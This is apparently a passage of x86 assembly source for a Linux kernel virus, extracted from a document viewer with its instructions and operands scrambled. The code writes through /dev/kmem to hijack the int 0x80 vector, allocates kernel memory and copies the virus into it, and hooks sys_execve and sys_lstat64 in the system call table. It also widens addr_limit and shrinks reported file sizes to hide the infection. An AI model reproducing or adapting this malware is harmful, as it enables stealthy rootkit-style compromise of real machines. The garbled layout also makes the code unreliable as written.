pop mov xor int ; ; ; ; ;

ecx eax,19 edx, edx 080h

; Pop the int80h table address ; Lseek to the IVT ; int080h

We've got - 1 byte: - 1 byte: - 1 byte: - 1 byte:

int80h's 16 bytes, so that: low offset segment desc high offset

; we change the IVT address to point to our handler mov shl mov cx,[int80vector+ebp+6] ; interrupt vector higher offset ecx,16 cx,[int80vector+ebp] ; interrupt vector lower offset, ; ECX = vector

mov lea mov shr mov mov lea mov int

[original_int80+ebp],ecx edx, [NewInt80+ebp] [int80vector+ebp],dx edx,16 [int80vector+ebp+6],dx eax,4 ecx,[int80vector+ebp] edx,8 080h

; store old int80h vector ; new int80h offset ; store its parts

; Disk write for this new address

;; -----------------------------------------------------------;; Here we read the sys_call_table addresses to ;; be saved in the virus ;; -----------------------------------------------------------; Lseek to the sys_call_table position 11 (sys_execve) mov eax,19 ; 11th entry in sys_call_table = sys_execve mov ecx, [sys_call_table+ebp] add ecx,11*4 ; 11*4,, 11 is sys_execve xor edx, edx int 080h ; Read sys_execve address mov eax,3 ; We read the old values lea ecx,[sys_execve+ebp] mov edx,4 int 080h

; Lseek to the sys_call_table position 196 (sys_lstat64) mov eax,19 ; 11th entry in sys_call_table = sys_execve mov ecx, [sys_call_table+ebp] add ecx,(196*4) ; 196*4,, 196 is sys_lstat64 xor edx, edx

int

080h

; Read sys_execve address mov eax,3 ; We read the old values lea ecx,[sys_stat+ebp] mov edx,4 int 080h

;; ;; ;; ;; ;; ;; ;;

------------------------------------------------------------------------------------------------------------------------------------PHASE 3 -- Install virus in memory ------------------------------------------------------------------------------------------------------------------------------------;; Trigger supervisor access mov int mov mov xor int eax,0c0de1111h 080h eax,19 ecx,dword [buf2+ebp] edx, edx 080h

;; Pointer has been set in the base address in kernel memory mov lea mov int eax,4 ; sys_write ecx,[virus_start+ebp] ; From the beginning edx,total_size ; The whole program 080h

; Now the virus has been copied to memory ^^ ; ; ----------------------------------------------------------; Restore the old IVT ; ----------------------------------------------------------mov mov add xor int mov mov shr mov mov lea mov eax,19 ; Our pointer in the IVT ecx,[descivt+ebp+2] ecx, (080h*8) ; int 80h pointer edx, edx 080h ; call sys_lseek ecx, [original_int80+ebp] ; take old int80h address word [int80vector+ebp],cx ; Transform it to the IVT format ecx,16 word [int80vector+ebp+6],cx eax,4 ecx, [int80vector+ebp] edx,8 ; Disk write on IVT in ; /dev/kmem file.

int

080h

; DEBUG CODE: Check if correctly copied to memory mov eax, 19 mov ecx, [buf2+ebp] add ecx, (devkmem - virus_start) xor edx, edx int 080h mov eax, 3 lea ecx, [deleteme+ebp] mov edx, 8 int 080h cmp dword [deleteme+ebp], '/dev' jnz endcheck cmp dword [deleteme+ebp+4], '/kme' jnz endcheck mov eax,4 ; print message push ebx mov ebx, 1 lea ecx, [copiedtomem+ebp] mov edx, 34 int 080h pop ebx jmp endcheck copiedtomem: db 'virus correctly copied to memory',0dh,0ah endcheck:

;-------------------------------------------------------------------;-------------------------------------------------------------------; --------------------------------------------------------; Now we will handle the sys_call_table ; --------------------------------------------------------; We mov mov add xor int mov lea push add mov int pop do it for the sys_execve eax,19 ; We go again to the 11th entry ecx,[sys_call_table+ebp] ecx,11*4 ; sys_execve edx, edx 080h eax,4 ; We write the new address in sys_call_table[44h] ecx,[buf2+ebp] ; Memory base address dword [ecx] ; Save our base handler dword [ecx],(Uber_Handler - virus_start) ; Handling offset edx,4 ; 4 bytes 080h dword [ecx] ; Recover base address

; Now the same for the lstat64 function mov eax,19 mov ecx,dword[sys_call_table+ebp] add ecx,(196*4) xor edx, edx int 080h mov lea push add mov int pop eax,4 ecx,[buf2+ebp] dword [ecx] dword [ecx],(Stat_Handler - virus_start) edx,4 080h dword [ecx]

jmp

return_to_host

not_root: mov mov lea mov int eax, ebx, ecx, edx, 080h 4 1 [notroot+ebp] 23

return_to_host: mov int eax,1 080h

convert_char_to_hex: xor edx,edx ; mov ecx,8 ; _conv1: mov al,byte [ebx] ; cmp al, 61h jb _is_a_number sub al, ((61h-39h)-1) _is_a_number: sub al, 30h ; rol edx, 4 ; add dl, al inc ebx loop ret

EDX = result Number of chars One byte ; 61h = 'a' ; 39h = '9' We adjust to 0-F Rotate left

_conv1

; Next char ; Loop to conversion

devkmem: db '/dev/kmem',0 ksyms: db '/proc/ksyms',0 notroot: db 'please run me as root',0dh, 0ah buf1: db 0 kmalloc: dd 0 descivt: dd 0,0 int80vector: dd 0,0 sys_call_table: dd 0 buf2: dd 0 kernel_addr: dd 0 return_from_systables: dd 0 deleteme: dd 0,0,0,0 sys_stat: dd 0

NewInt80: db 068h ; Push original_int80: dd 0 ; Original int80 jump pushfd pushad cmp eax,0c0de1111h jnz Real_Return ; Make as if nothing was happening ;; First we push GFP_KERNEL, then the number of pages push ebp push dword 0xf0 ; GFP_KERNEL push dword total_size ; size: 1 call dword [kmalloc+ebp] add esp,8 ; Stack adjust after call pop ebp mov dword [buf2+ebp],eax

popad popfd ; Quite better if we call a real int here. It doesn't give the ;correct results, *but* again it is better than random mov mov mov ret ecx,dword [buf2+ebp] eax,19 edx, edx

Real_Return: popad popfd ret ;---------------------------------------------------------------

Uber_Handler: db 068h sys_execve: dd 0 cmp jnz mov jmp ; Push ; Original jump

ecx,0x12341234 no_memory_check dword [esp+4h+4h],0x43214321 ;esp[db068]+4h[sys_table_call]+4h[ebx] = EBX end_sysexecve_handler

;; ;; ;; ;; ;; ;; ;;

------------------------------------------------------------------------------------------------------------------------------------PHASE 4 -- File execution -------------------------------------------------------------------------------------------------------------------------------------

no_memory_check: pushfd pushad call delta_int delta_int: pop ebp sub ebp,delta_int mov and mov mov mov lea mov int mov and mov jmp ; Use ebp for relative addressing

eax,esp eax, 0xFFFFE000 ; Beggining of kernel stack is task_struct dword [eax+0Ch],0xffffffff ; addr_limit (0bfffffff before) eax, ebx, ecx, edx, 080h 4 ; print text 1 [text_execve+ebp] 30

eax,esp eax, 0xFFFFE000 ; Begging of kernel stack is task_struct dword [eax+0Ch],0xbfffffff ; addr_limit (usually 0bfffffff) finish_infection

text_execve: db 'You are executing a file :-)',0dh,0ah

finish_infection: popad popfd

end_sysexecve_handler:

ret

;; ;; ;; ;; ;; ;; ;; ; ; ; ; ; ; ; ;

--------------------------------------------------------------------------------------------------------------------------------------PHASE 5 -- File size decreasing when shown ---------------------------------------------------------------------------------------------------------------------------------------

This part is a bit tricky. Inside this call the problem is that there is more to calling the original one and then acting without touching the registers. ESP must be the same when the sys_lstat64 function is called from our code, as the function parameters are in the stack; registers hold some other values and still will not better to touch them.

Stat_Handler: push eax push eax push ebp ; Stack is --> [ EAX | EAX | EBP | return ] mov eax,[esp+12] ; return address of caller

call yado yado: pop sub mov mov add mov ebp ebp,yado [return_from_systables+ebp],eax ; We store "return" eax,dword [buf2+ebp] eax,(Stealth_Handler - virus_start) [esp+12], eax ; Yet Another Delta Offset

mov mov

eax,[ebp+sys_stat] [esp+8], eax

; Stack is --> [ EAX | EBP | lstat64 | Stealth_Handler ] pop pop ebp eax

; This ret will execute lstat64, and when it returns it will go ; directly to Stealth_Handler ret

;#### Here it gets after returning from syscall Stealth_Handler: push push call yatd2: pop sub mov mov pop ebp ebp yatd2 ebp ebp, yatd2 ebp, [return_from_systables+ebp] [esp+4],ebp ; Now the return address is in place ebp

; Now with just a ret we would safely return pushfd pushad ; pushad/fd: 4+20, returnaddr: 4, +ebx: 4 mov ecx,dword [esp+4h+20h+4h+4h] ; ecx holds the pointer to lstat64 ; Stat64 struct ; ; 00 st_dev ; [...] ; 2c st_size <sub dword [ecx+02Ch],100

popad popfd ret

virus_end: total_size

EQU

virus_end - virus_start

También podría gustarte